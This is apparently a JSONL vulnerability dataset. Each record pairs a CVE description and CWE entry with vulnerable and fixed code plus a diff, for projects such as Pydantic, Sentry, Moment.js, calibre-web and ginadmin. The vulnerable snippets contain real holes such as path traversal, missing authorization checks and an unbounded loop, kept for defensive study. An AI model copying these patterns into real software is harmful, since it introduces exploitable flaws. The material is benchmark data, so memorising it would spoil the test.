{"cve_id": "CVE-2021-29510", "cve_description": "Pydantic is a data validation and settings management using Python type hinting. In affected versions passing either `'infinity'`, `'inf'` or `float('inf')` (or their negatives) to `datetime` or `date` fields causes validation to run forever with 100% CPU usage (on one CPU). Pydantic has been patched with fixes available in the following versions: v1.8.2, v1.7.4, v1.6.2. All these versions are available on pypi(https://pypi.org/project/pydantic/#history), and will be available on conda-forge(https://anaconda.org/conda-forge/pydantic) soon. See the changelog(https://pydantic-docs.helpmanual.io/) for details. If you absolutely can't upgrade, you can work around this risk using a validator(https://pydantic-docs.helpmanual.io/usage/validators/) to catch these values. This is not an ideal solution (in particular you'll need a slightly different function for datetimes), instead of a hack like this you should upgrade pydantic. If you are not using v1.8.x, v1.7.x or v1.6.x and are unable to upgrade to a fixed version of pydantic, please create an issue at https://github.com/samuelcolvin/pydantic/issues requesting a back-port, and we will endeavour to release a patch for earlier versions of pydantic.", "cwe_info": {"CWE-835": {"name": "Loop with Unreachable Exit Condition ('Infinite Loop')", "description": "The product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop."}}, "repo": "https://github.com/samuelcolvin/pydantic", "patch_url": ["https://github.com/samuelcolvin/pydantic/commit/7e83fdd2563ffac081db7ecdf1affa65ef38c468"], "programing_language": "Python", "vul_func": [{"id": "vul_py_430_1", "commit": "a615451", "file_path": "pydantic/datetime_parse.py", "start_line": 75, "end_line": 79, "snippet": "def from_unix_seconds(seconds: Union[int, float]) -> datetime:\n    while abs(seconds) > MS_WATERSHED:\n        seconds /= 1000\n    dt = EPOCH + timedelta(seconds=seconds)\n    return dt.replace(tzinfo=timezone.utc)"}], "fix_func": [{"id": "fix_py_430_1", "commit": "7e83fdd2563ffac081db7ecdf1affa65ef38c468", "file_path": "pydantic/datetime_parse.py", "start_line": 77, "end_line": 86, "snippet": "def from_unix_seconds(seconds: Union[int, float]) -> datetime:\n    if seconds > MAX_NUMBER:\n        return datetime.max\n    elif seconds < -MAX_NUMBER:\n        return datetime.min\n\n    while abs(seconds) > MS_WATERSHED:\n        seconds /= 1000\n    dt = EPOCH + timedelta(seconds=seconds)\n    return dt.replace(tzinfo=timezone.utc)"}, {"id": "fix_py_430_2", "commit": "7e83fdd2563ffac081db7ecdf1affa65ef38c468", "file_path": "pydantic/datetime_parse.py", "start_line": 61, "end_line": 62, "snippet": "# slightly more than datetime.max in ns - (datetime.max - EPOCH).total_seconds() * 1e9\nMAX_NUMBER = int(3e20)"}], "vul_patch": "--- a/pydantic/datetime_parse.py\n+++ b/pydantic/datetime_parse.py\n@@ -1,4 +1,9 @@\n def from_unix_seconds(seconds: Union[int, float]) -> datetime:\n+    if seconds > MAX_NUMBER:\n+        return datetime.max\n+    elif seconds < -MAX_NUMBER:\n+        return datetime.min\n+\n     while abs(seconds) > MS_WATERSHED:\n         seconds /= 1000\n     dt = EPOCH + timedelta(seconds=seconds)\n\n--- /dev/null\n+++ b/pydantic/datetime_parse.py\n@@ -0,0 +1,2 @@\n+# slightly more than datetime.max in ns - (datetime.max - EPOCH).total_seconds() * 1e9\n+MAX_NUMBER = int(3e20)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-45605", "cve_description": "Sentry is a developer-first error tracking and performance monitoring platform. An authenticated user delete the user issue alert notifications for arbitrary users given a know alert ID. A patch was issued to ensure authorization checks are properly scoped on requests to delete user alert notifications. Sentry SaaS users do not need to take any action. Self-Hosted Sentry users should upgrade to version 24.9.0 or higher. There are no known workarounds for this vulnerability.", "cwe_info": {"CWE-862": {"name": "Missing Authorization", "description": "The product does not perform an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-639": {"name": "Authorization Bypass Through User-Controlled Key", "description": "The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data."}}, "repo": "https://github.com/getsentry/sentry", "patch_url": ["https://github.com/getsentry/sentry/commit/590258255bcb3a5fa4c56f21297b6c99131cfb9d"], "programing_language": "Python", "vul_func": [{"id": "vul_py_410_1", "commit": "45ef94a2dd28ed506c4463e829f088ffec6d3fc0", "file_path": "src/sentry/api/endpoints/user_notification_settings_options_detail.py", "start_line": 22, "end_line": 31, "snippet": "    def delete(self, request: Request, user: User, notification_option_id: str) -> Response:\n        try:\n            option = NotificationSettingOption.objects.get(\n                id=notification_option_id,\n            )\n        except NotificationSettingOption.DoesNotExist:\n            return Response(status=status.HTTP_404_NOT_FOUND)\n\n        option.delete()\n        return Response(status=status.HTTP_204_NO_CONTENT)"}], "fix_func": [{"id": "fix_py_410_1", "commit": "590258255bcb3a5fa4c56f21297b6c99131cfb9d", "file_path": "src/sentry/api/endpoints/user_notification_settings_options_detail.py", "start_line": 23, "end_line": 39, "snippet": "    def convert_args(\n        self,\n        request: Request,\n        user_id: int | str | None = None,\n        *args,\n        notification_option_id: int,\n        **kwargs,\n    ):\n        args, kwargs = super().convert_args(request, user_id, *args, **kwargs)\n        user = kwargs[\"user\"]\n        try:\n            option = NotificationSettingOption.objects.get(id=notification_option_id, user=user)\n        except NotificationSettingOption.DoesNotExist:\n            raise NotFound(detail=\"User notification setting does not exist\")\n\n        kwargs[\"notification_setting_option\"] = option\n        return args, kwargs"}, {"id": "fix_py_410_2", "commit": "590258255bcb3a5fa4c56f21297b6c99131cfb9d", "file_path": "src/sentry/api/endpoints/user_notification_settings_options_detail.py", "start_line": 41, "end_line": 45, "snippet": "    def delete(\n        self, request: Request, user: User, notification_setting_option: NotificationSettingOption\n    ) -> Response:\n        notification_setting_option.delete()\n        return Response(status=status.HTTP_204_NO_CONTENT)"}], "vul_patch": "--- a/src/sentry/api/endpoints/user_notification_settings_options_detail.py\n+++ b/src/sentry/api/endpoints/user_notification_settings_options_detail.py\n@@ -1,10 +1,17 @@\n-    def delete(self, request: Request, user: User, notification_option_id: str) -> Response:\n+    def convert_args(\n+        self,\n+        request: Request,\n+        user_id: int | str | None = None,\n+        *args,\n+        notification_option_id: int,\n+        **kwargs,\n+    ):\n+        args, kwargs = super().convert_args(request, user_id, *args, **kwargs)\n+        user = kwargs[\"user\"]\n         try:\n-            option = NotificationSettingOption.objects.get(\n-                id=notification_option_id,\n-            )\n+            option = NotificationSettingOption.objects.get(id=notification_option_id, user=user)\n         except NotificationSettingOption.DoesNotExist:\n-            return Response(status=status.HTTP_404_NOT_FOUND)\n+            raise NotFound(detail=\"User notification setting does not exist\")\n \n-        option.delete()\n-        return Response(status=status.HTTP_204_NO_CONTENT)\n+        kwargs[\"notification_setting_option\"] = option\n+        return args, kwargs\n\n--- /dev/null\n+++ b/src/sentry/api/endpoints/user_notification_settings_options_detail.py\n@@ -0,0 +1,5 @@\n+    def delete(\n+        self, request: Request, user: User, notification_setting_option: NotificationSettingOption\n+    ) -> Response:\n+        notification_setting_option.delete()\n+        return Response(status=status.HTTP_204_NO_CONTENT)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-24785", "cve_description": "Moment.js is a JavaScript date library for parsing, validating, manipulating, and formatting dates. A path traversal vulnerability impacts npm (server) users of Moment.js between versions 1.0.1 and 2.29.1, especially if a user-provided locale string is directly used to switch moment locale. This problem is patched in 2.29.2, and the patch can be applied to all affected versions. As a workaround, sanitize the user-provided locale name before passing it to Moment.js.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/moment/moment", "patch_url": ["https://github.com/moment/moment/commit/4211bfc8f15746be4019bba557e29a7ba83d54c5"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_206_1", "commit": "f2a813a", "file_path": "src/lib/locale/locales.js", "start_line": 65, "end_line": 87, "snippet": "function loadLocale(name) {\n    var oldLocale = null,\n        aliasedRequire;\n    // TODO: Find a better way to register and load all the locales in Node\n    if (\n        locales[name] === undefined &&\n        typeof module !== 'undefined' &&\n        module &&\n        module.exports\n    ) {\n        try {\n            oldLocale = globalLocale._abbr;\n            aliasedRequire = require;\n            aliasedRequire('./locale/' + name);\n            getSetGlobalLocale(oldLocale);\n        } catch (e) {\n            // mark as not found to avoid repeating expensive file require call causing high CPU\n            // when trying to find en-US, en_US, en-us for every format call\n            locales[name] = null; // null means not found\n        }\n    }\n    return locales[name];\n}"}], "fix_func": [{"id": "fix_js_206_1", "commit": "4211bfc", "file_path": "src/lib/locale/locales.js", "start_line": 70, "end_line": 93, "snippet": "function loadLocale(name) {\n    var oldLocale = null,\n        aliasedRequire;\n    // TODO: Find a better way to register and load all the locales in Node\n    if (\n        locales[name] === undefined &&\n        typeof module !== 'undefined' &&\n        module &&\n        module.exports &&\n        isLocaleNameSane(name)\n    ) {\n        try {\n            oldLocale = globalLocale._abbr;\n            aliasedRequire = require;\n            aliasedRequire('./locale/' + name);\n            getSetGlobalLocale(oldLocale);\n        } catch (e) {\n            // mark as not found to avoid repeating expensive file require call causing high CPU\n            // when trying to find en-US, en_US, en-us for every format call\n            locales[name] = null; // null means not found\n        }\n    }\n    return locales[name];\n}"}, {"id": "fix_js_206_2", "commit": "4211bfc", "file_path": "src/lib/locale/locales.js", "start_line": 65, "end_line": 68, "snippet": "function isLocaleNameSane(name) {\n    // Prevent names that look like filesystem paths, i.e contain '/' or '\\'\n    return name.match('^[^/\\\\\\\\]*$') != null;\n}"}], "vul_patch": "--- a/src/lib/locale/locales.js\n+++ b/src/lib/locale/locales.js\n@@ -6,7 +6,8 @@\n         locales[name] === undefined &&\n         typeof module !== 'undefined' &&\n         module &&\n-        module.exports\n+        module.exports &&\n+        isLocaleNameSane(name)\n     ) {\n         try {\n             oldLocale = globalLocale._abbr;\n\n--- /dev/null\n+++ b/src/lib/locale/locales.js\n@@ -0,0 +1,4 @@\n+function isLocaleNameSane(name) {\n+    // Prevent names that look like filesystem paths, i.e contain '/' or '\\'\n+    return name.match('^[^/\\\\\\\\]*$') != null;\n+}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-0273", "cve_description": "Improper Access Control in Pypi calibreweb prior to 0.6.16.", "cwe_info": {"CWE-284": {"name": "Improper Access Control", "description": "The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor."}}, "repo": "https://github.com/janeczku/calibre-web", "patch_url": ["https://github.com/janeczku/calibre-web/commit/0c0313f375bed7b035c8c0482bbb09599e16bfcf"], "programing_language": "Python", "vul_func": [{"id": "vul_py_278_1", "commit": "6bf0753", "file_path": "cps/shelf.py", "start_line": 243, "end_line": 289, "snippet": "def create_edit_shelf(shelf, page_title, page, shelf_id=False):\n    sync_only_selected_shelves = current_user.kobo_only_shelves_sync\n    # calibre_db.session.query(ub.Shelf).filter(ub.Shelf.user_id == current_user.id).filter(ub.Shelf.kobo_sync).count()\n    if request.method == \"POST\":\n        to_save = request.form.to_dict()\n        if not current_user.role_edit_shelfs() and to_save.get(\"is_public\") == \"on\":\n            flash(_(u\"Sorry you are not allowed to create a public shelf\"), category=\"error\")\n            return redirect(url_for('web.index'))\n        is_public = 1 if to_save.get(\"is_public\") else 0\n        if config.config_kobo_sync:\n            shelf.kobo_sync = True if to_save.get(\"kobo_sync\") else False\n            if shelf.kobo_sync:\n                ub.session.query(ub.ShelfArchive).filter(ub.ShelfArchive.user_id == current_user.id).filter(\n                    ub.ShelfArchive.uuid == shelf.uuid).delete()\n                ub.session_commit()\n        shelf_title = to_save.get(\"title\", \"\")\n        if check_shelf_is_unique(shelf, shelf_title, is_public, shelf_id):\n            shelf.name = shelf_title\n            shelf.is_public = is_public\n            if not shelf_id:\n                shelf.user_id = int(current_user.id)\n                ub.session.add(shelf)\n                shelf_action = \"created\"\n                flash_text = _(u\"Shelf %(title)s created\", title=shelf_title)\n            else:\n                shelf_action = \"changed\"\n                flash_text = _(u\"Shelf %(title)s changed\", title=shelf_title)\n            try:\n                ub.session.commit()\n                log.info(u\"Shelf {} {}\".format(shelf_title, shelf_action))\n                flash(flash_text, category=\"success\")\n                return redirect(url_for('shelf.show_shelf', shelf_id=shelf.id))\n            except (OperationalError, InvalidRequestError) as ex:\n                ub.session.rollback()\n                log.debug_or_exception(ex)\n                log.error(\"Settings DB is not Writeable\")\n                flash(_(\"Settings DB is not Writeable\"), category=\"error\")\n            except Exception as ex:\n                ub.session.rollback()\n                log.debug_or_exception(ex)\n                flash(_(u\"There was an error\"), category=\"error\")\n    return render_title_template('shelf_edit.html',\n                                 shelf=shelf,\n                                 title=page_title,\n                                 page=page,\n                                 kobo_sync_enabled=config.config_kobo_sync,\n                                 sync_only_selected_shelves=sync_only_selected_shelves)"}], "fix_func": [{"id": "fix_py_278_1", "commit": "0c0313f375bed7b035c8c0482bbb09599e16bfcf", "file_path": "cps/shelf.py", "start_line": 243, "end_line": 289, "snippet": "def create_edit_shelf(shelf, page_title, page, shelf_id=False):\n    sync_only_selected_shelves = current_user.kobo_only_shelves_sync\n    # calibre_db.session.query(ub.Shelf).filter(ub.Shelf.user_id == current_user.id).filter(ub.Shelf.kobo_sync).count()\n    if request.method == \"POST\":\n        to_save = request.form.to_dict()\n        if not current_user.role_edit_shelfs() and to_save.get(\"is_public\") == \"on\":\n            flash(_(u\"Sorry you are not allowed to create a public shelf\"), category=\"error\")\n            return redirect(url_for('web.index'))\n        is_public = 1 if to_save.get(\"is_public\") == \"on\" else 0\n        if config.config_kobo_sync:\n            shelf.kobo_sync = True if to_save.get(\"kobo_sync\") else False\n            if shelf.kobo_sync:\n                ub.session.query(ub.ShelfArchive).filter(ub.ShelfArchive.user_id == current_user.id).filter(\n                    ub.ShelfArchive.uuid == shelf.uuid).delete()\n                ub.session_commit()\n        shelf_title = to_save.get(\"title\", \"\")\n        if check_shelf_is_unique(shelf, shelf_title, is_public, shelf_id):\n            shelf.name = shelf_title\n            shelf.is_public = is_public\n            if not shelf_id:\n                shelf.user_id = int(current_user.id)\n                ub.session.add(shelf)\n                shelf_action = \"created\"\n                flash_text = _(u\"Shelf %(title)s created\", title=shelf_title)\n            else:\n                shelf_action = \"changed\"\n                flash_text = _(u\"Shelf %(title)s changed\", title=shelf_title)\n            try:\n                ub.session.commit()\n                log.info(u\"Shelf {} {}\".format(shelf_title, shelf_action))\n                flash(flash_text, category=\"success\")\n                return redirect(url_for('shelf.show_shelf', shelf_id=shelf.id))\n            except (OperationalError, InvalidRequestError) as ex:\n                ub.session.rollback()\n                log.debug_or_exception(ex)\n                log.error(\"Settings DB is not Writeable\")\n                flash(_(\"Settings DB is not Writeable\"), category=\"error\")\n            except Exception as ex:\n                ub.session.rollback()\n                log.debug_or_exception(ex)\n                flash(_(u\"There was an error\"), category=\"error\")\n    return render_title_template('shelf_edit.html',\n                                 shelf=shelf,\n                                 title=page_title,\n                                 page=page,\n                                 kobo_sync_enabled=config.config_kobo_sync,\n                                 sync_only_selected_shelves=sync_only_selected_shelves)"}], "vul_patch": "--- a/cps/shelf.py\n+++ b/cps/shelf.py\n@@ -6,7 +6,7 @@\n         if not current_user.role_edit_shelfs() and to_save.get(\"is_public\") == \"on\":\n             flash(_(u\"Sorry you are not allowed to create a public shelf\"), category=\"error\")\n             return redirect(url_for('web.index'))\n-        is_public = 1 if to_save.get(\"is_public\") else 0\n+        is_public = 1 if to_save.get(\"is_public\") == \"on\" else 0\n         if config.config_kobo_sync:\n             shelf.kobo_sync = True if to_save.get(\"kobo_sync\") else False\n             if shelf.kobo_sync:\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2025-24973", "cve_description": "Concorde, formerly know as Nexkey, is a fork of the federated microblogging platform Misskey. Prior to version 12.25Q1.1, due to an improper implementation of the logout process, authentication credentials remain in cookies even after a user has explicitly logged out, which may allow an attacker to steal authentication tokens. This could have devastating consequences if a user with admin privileges is (or was) using a shared device. Users who have logged in on a shared device should go to Settings > Security and regenerate their login tokens. Version 12.25Q1.1 fixes the issue. As a workaround, clear cookies and site data in the browser after logging out.", "cwe_info": {"CWE-613": {"name": "Insufficient Session Expiration", "description": "According to WASC, \"Insufficient Session Expiration is when a web site permits an attacker to reuse old session credentials or session IDs for authorization.\""}}, "repo": "https://github.com/nexryai/concorde", "patch_url": ["https://github.com/nexryai/concorde/commit/1f6ac9b289906083b132e4f9667a31a60ef83e4e"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_227_1", "commit": "8dbc1dd", "file_path": "packages/client/src/account.ts", "start_line": 22, "end_line": 65, "snippet": "export async function signout() {\n    waiting();\n    localStorage.removeItem(\"account\");\n\n    await removeAccount($i.id);\n\n    const accounts = await getAccounts();\n\n    //#region Remove service worker registration\n    try {\n        if (navigator.serviceWorker.controller) {\n            const registration = await navigator.serviceWorker.ready;\n            const push = await registration.pushManager.getSubscription();\n            if (push) {\n                await fetch(`${apiUrl}/sw/unregister`, {\n                    method: \"POST\",\n                    body: JSON.stringify({\n                        i: $i.token,\n                        endpoint: push.endpoint,\n                    }),\n                });\n            }\n        }\n\n        if (accounts.length === 0) {\n            await navigator.serviceWorker.getRegistrations()\n                .then(registrations => {\n\t\t\t\t    return Promise.all(registrations.map(registration => registration.unregister()));\n                });\n        }\n    } catch (err) {\n        console.error(err);\n    }\n    //#endregion\n\n    document.cookie = \"igi=; path=/\";\n\n    if (accounts.length > 0) login(accounts[0].token);\n    else unisonReload(\"/\");\n}\n\nexport async function getAccounts(): Promise<{ id: Account[\"id\"], token: Account[\"token\"] }[]> {\n    return (await get(\"accounts\")) || [];\n}"}], "fix_func": [{"id": "fix_js_227_1", "commit": "1f6ac9b289906083b132e4f9667a31a60ef83e4e", "file_path": "packages/client/src/account.ts", "start_line": 22, "end_line": 71, "snippet": "export async function signout() {\n    waiting();\n    document.cookie.split(\";\").forEach((cookie) => {\n        const cookieName = cookie.split(\"=\")[0].trim();\n        if (cookieName === \"token\") {\n            document.cookie = `${cookieName}=; max-age=0; path=/`;\n        }\n    });\n    localStorage.removeItem(\"account\");\n\n    await removeAccount($i.id);\n\n    const accounts = await getAccounts();\n\n    //#region Remove service worker registration\n    try {\n        if (navigator.serviceWorker.controller) {\n            const registration = await navigator.serviceWorker.ready;\n            const push = await registration.pushManager.getSubscription();\n            if (push) {\n                await fetch(`${apiUrl}/sw/unregister`, {\n                    method: \"POST\",\n                    body: JSON.stringify({\n                        i: $i.token,\n                        endpoint: push.endpoint,\n                    }),\n                });\n            }\n        }\n\n        if (accounts.length === 0) {\n            await navigator.serviceWorker.getRegistrations()\n                .then(registrations => {\n\t\t\t\t    return Promise.all(registrations.map(registration => registration.unregister()));\n                });\n        }\n    } catch (err) {\n        console.error(err);\n    }\n    //#endregion\n\n    document.cookie = \"igi=; path=/\";\n\n    if (accounts.length > 0) login(accounts[0].token);\n    else unisonReload(\"/\");\n}\n\nexport async function getAccounts(): Promise<{ id: Account[\"id\"], token: Account[\"token\"] }[]> {\n    return (await get(\"accounts\")) || [];\n}"}], "vul_patch": "--- a/packages/client/src/account.ts\n+++ b/packages/client/src/account.ts\n@@ -1,5 +1,11 @@\n export async function signout() {\n     waiting();\n+    document.cookie.split(\";\").forEach((cookie) => {\n+        const cookieName = cookie.split(\"=\")[0].trim();\n+        if (cookieName === \"token\") {\n+            document.cookie = `${cookieName}=; max-age=0; path=/`;\n+        }\n+    });\n     localStorage.removeItem(\"account\");\n \n     await removeAccount($i.id);\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-31457", "cve_description": "gin-vue-admin is a backstage management system based on vue and gin, which separates the front and rear of the full stack. gin-vue-admin pseudoversion 0.0.0-20240407133540-7bc7c3051067, corresponding to version 2.6.1, has a code injection vulnerability in the backend. In the Plugin System -> Plugin Template feature, an attacker can perform directory traversal by manipulating the `plugName` parameter. They can create specific folders such as `api`, `config`, `global`, `model`, `router`, `service`, and `main.go` function within the specified traversal directory. Moreover, the Go files within these folders can have arbitrary code inserted based on a specific PoC parameter. The main reason for the existence of this vulnerability is the controllability of the PlugName field within the struct. Pseudoversion 0.0.0-20240409100909-b1b7427c6ea6, corresponding to commit b1b7427c6ea6c7a027fa188c6be557f3795e732b, contains a patch for the issue. As a workaround, one may manually use a filtering method available in the GitHub Security Advisory to rectify the directory traversal problem.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/flipped-aurora/gin-vue-admin", "patch_url": ["https://github.com/flipped-aurora/gin-vue-admin/commit/b1b7427c6ea6c7a027fa188c6be557f3795e732b"], "programing_language": "Go", "vul_func": [{"id": "vul_go_209_1", "commit": "7bc7c30", "file_path": "server/api/v1/system/sys_auto_code.go", "start_line": 249, "end_line": 265, "snippet": "func (autoApi *AutoCodeApi) AutoPlug(c *gin.Context) {\n\tvar a system.AutoPlugReq\n\terr := c.ShouldBindJSON(&a)\n\tif err != nil {\n\t\tresponse.FailWithMessage(err.Error(), c)\n\t\treturn\n\t}\n\ta.Snake = strings.ToLower(a.PlugName)\n\ta.NeedModel = a.HasRequest || a.HasResponse\n\terr = autoCodeService.CreatePlug(a)\n\tif err != nil {\n\t\tglobal.GVA_LOG.Error(\"\\u9884\\u89c8\\u5931\\u8d25!\", zap.Error(err))\n\t\tresponse.FailWithMessage(\"\\u9884\\u89c8\\u5931\\u8d25\", c)\n\t\treturn\n\t}\n\tresponse.Ok(c)\n}"}], "fix_func": [{"id": "fix_go_209_1", "commit": "b1b7427c6ea6c7a027fa188c6be557f3795e732b", "file_path": "server/api/v1/system/sys_auto_code.go", "start_line": 250, "end_line": 271, "snippet": "func (autoApi *AutoCodeApi) AutoPlug(c *gin.Context) {\n\tvar a system.AutoPlugReq\n\terr := c.ShouldBindJSON(&a)\n\tif err != nil {\n\t\tresponse.FailWithMessage(err.Error(), c)\n\t\treturn\n\t}\n\tif strings.Contains(a.PlugName, string(filepath.Separator)) {\n\t\tresponse.FailWithMessage(\"\\u63d2\\u4ef6\\u540d\\u79f0\\u4e0d\\u80fd\\u5305\\u542b\"+string(filepath.Separator), c)\n\t\treturn\n\t}\n\n\ta.Snake = strings.ToLower(a.PlugName)\n\ta.NeedModel = a.HasRequest || a.HasResponse\n\terr = autoCodeService.CreatePlug(a)\n\tif err != nil {\n\t\tglobal.GVA_LOG.Error(\"\\u9884\\u89c8\\u5931\\u8d25!\", zap.Error(err))\n\t\tresponse.FailWithMessage(\"\\u9884\\u89c8\\u5931\\u8d25\", c)\n\t\treturn\n\t}\n\tresponse.Ok(c)\n}"}], "vul_patch": "--- a/server/api/v1/system/sys_auto_code.go\n+++ b/server/api/v1/system/sys_auto_code.go\n@@ -5,6 +5,11 @@\n \t\tresponse.FailWithMessage(err.Error(), c)\n \t\treturn\n \t}\n+\tif strings.Contains(a.PlugName, string(filepath.Separator)) {\n+\t\tresponse.FailWithMessage(\"\\u63d2\\u4ef6\\u540d\\u79f0\\u4e0d\\u80fd\\u5305\\u542b\"+string(filepath.Separator), c)\n+\t\treturn\n+\t}\n+\n \ta.Snake = strings.ToLower(a.PlugName)\n \ta.NeedModel = a.HasRequest || a.HasResponse\n \terr = autoCodeService.CreatePlug(a)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-30428", "cve_description": "In ginadmin through 05-10-2022, the incoming path value is not filtered, resulting in arbitrary file reading.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/gphper/ginadmin", "patch_url": ["https://github.com/gphper/ginadmin/commit/726109f01ad23523715f36f7d272958064666a30"], "programing_language": "Go", "vul_func": [{"id": "vul_go_224_1", "commit": "f519fa8", "file_path": "internal/controllers/admin/setting/adminSystemController.go", "start_line": 67, "end_line": 108, "snippet": "func (con adminSystemController) GetDir(c *gin.Context) {\n\n\ttype FileNode struct {\n\t\tName string `json:\"name\"`\n\t\tPath string `json:\"path\"`\n\t\tType string `json:\"type\"`\n\t}\n\n\tvar (\n\t\tpath      string\n\t\terr       error\n\t\tfileSlice []FileNode\n\t\tfiles     []fs.FileInfo\n\t)\n\n\tfileSlice = make([]FileNode, 0)\n\tpath = gstrings.JoinStr(configs.RootPath, c.Query(\"path\"))\n\n\tfiles, err = ioutil.ReadDir(path)\n\tif err != nil {\n\t\tcon.Error(c, \"\\u83b7\\u53d6\\u76ee\\u5f55\\u5931\\u8d25\")\n\t\treturn\n\t}\n\n\tfor _, v := range files {\n\t\tvar fileType string\n\t\tif v.IsDir() {\n\t\t\tfileType = \"dir\"\n\t\t} else {\n\t\t\tfileType = \"file\"\n\t\t}\n\t\tfileSlice = append(fileSlice, FileNode{\n\t\t\tName: v.Name(),\n\t\t\tPath: gstrings.JoinStr(c.Query(\"path\"), string(filepath.Separator), v.Name()),\n\t\t\tType: fileType,\n\t\t})\n\t}\n\n\tc.JSON(http.StatusOK, gin.H{\n\t\t\"data\": fileSlice,\n\t})\n}"}, {"id": "vul_go_224_2", "commit": "f519fa8", "file_path": "internal/controllers/admin/setting/adminSystemController.go", "start_line": 113, "end_line": 162, "snippet": "func (con adminSystemController) View(c *gin.Context) {\n\n\tvar (\n\t\terr       error\n\t\tstartLine int\n\t\tendLine   int\n\t\tscanner   *bufio.Scanner\n\t\tline      int\n\t)\n\n\tstartLine, err = strconv.Atoi(c.DefaultQuery(\"start_line\", \"1\"))\n\tif err != nil {\n\t\tcon.ErrorHtml(c, err)\n\t\treturn\n\t}\n\tendLine, err = strconv.Atoi(c.DefaultQuery(\"end_line\", \"20\"))\n\tif err != nil {\n\t\tcon.ErrorHtml(c, err)\n\t\treturn\n\t}\n\n\tvar filecontents []string\n\tfilePath := gstrings.JoinStr(configs.RootPath, c.Query(\"path\"))\n\tfi, err := os.Open(filePath)\n\tif err != nil {\n\t\tcon.ErrorHtml(c, err)\n\t\treturn\n\t}\n\tdefer fi.Close()\n\n\tscanner = bufio.NewScanner(fi)\n\tfor scanner.Scan() {\n\t\tline++\n\t\tif line >= startLine && line <= endLine {\n\t\t\t// \\u5728\\u8981\\u6c42\\u884c\\u6570\\u5185\\u53d6\\u5f97\\u6570\\u636e\n\t\t\tfilecontents = append(filecontents, scanner.Text())\n\t\t} else {\n\t\t\tcontinue\n\t\t}\n\t}\n\n\tc.HTML(http.StatusOK, \"setting/systemlog_view.html\", gin.H{\n\t\t\"file_path\":    c.Query(\"path\"),\n\t\t\"filecontents\": filecontents,\n\t\t\"start_line\":   startLine,\n\t\t\"end_line\":     endLine,\n\t\t\"line\":         line,\n\t})\n\n}"}, {"id": "vul_go_224_3", "commit": "f519fa8", "file_path": "pkg/utils/filesystem/filesystem.go", "start_line": 94, "end_line": 103, "snippet": "func JoinStr(items ...interface{}) string {\n\tif len(items) == 0 {\n\t\treturn \"\"\n\t}\n\tvar builder strings.Builder\n\tfor _, v := range items {\n\t\tbuilder.WriteString(v.(string))\n\t}\n\treturn builder.String()\n}"}], "fix_func": [{"id": "fix_go_224_1", "commit": "726109f01ad23523715f36f7d272958064666a30", "file_path": "internal/controllers/admin/setting/adminSystemController.go", "start_line": 68, "end_line": 113, "snippet": "func (con adminSystemController) GetDir(c *gin.Context) {\n\n\ttype FileNode struct {\n\t\tName string `json:\"name\"`\n\t\tPath string `json:\"path\"`\n\t\tType string `json:\"type\"`\n\t}\n\n\tvar (\n\t\tpath      string\n\t\terr       error\n\t\tfileSlice []FileNode\n\t\tfiles     []fs.FileInfo\n\t)\n\n\tfileSlice = make([]FileNode, 0)\n\tpath, err = filesystem.FilterPath(configs.RootPath+\"logs\", c.Query(\"path\"))\n\tif err != nil {\n\t\tcon.Error(c, err.Error())\n\t\treturn\n\t}\n\n\tfiles, err = ioutil.ReadDir(path)\n\tif err != nil {\n\t\tcon.Error(c, \"\\u83b7\\u53d6\\u76ee\\u5f55\\u5931\\u8d25\")\n\t\treturn\n\t}\n\n\tfor _, v := range files {\n\t\tvar fileType string\n\t\tif v.IsDir() {\n\t\t\tfileType = \"dir\"\n\t\t} else {\n\t\t\tfileType = \"file\"\n\t\t}\n\t\tfileSlice = append(fileSlice, FileNode{\n\t\t\tName: v.Name(),\n\t\t\tPath: gstrings.JoinStr(c.Query(\"path\"), string(filepath.Separator), v.Name()),\n\t\t\tType: fileType,\n\t\t})\n\t}\n\n\tc.JSON(http.StatusOK, gin.H{\n\t\t\"data\": fileSlice,\n\t})\n}"}, {"id": "fix_go_224_2", "commit": "726109f01ad23523715f36f7d272958064666a30", "file_path": "internal/controllers/admin/setting/adminSystemController.go", "start_line": 118, "end_line": 172, "snippet": "func (con adminSystemController) View(c *gin.Context) {\n\n\tvar (\n\t\terr       error\n\t\tstartLine int\n\t\tendLine   int\n\t\tscanner   *bufio.Scanner\n\t\tline      int\n\t)\n\n\tstartLine, err = strconv.Atoi(c.DefaultQuery(\"start_line\", \"1\"))\n\tif err != nil {\n\t\tcon.ErrorHtml(c, err)\n\t\treturn\n\t}\n\tendLine, err = strconv.Atoi(c.DefaultQuery(\"end_line\", \"20\"))\n\tif err != nil {\n\t\tcon.ErrorHtml(c, 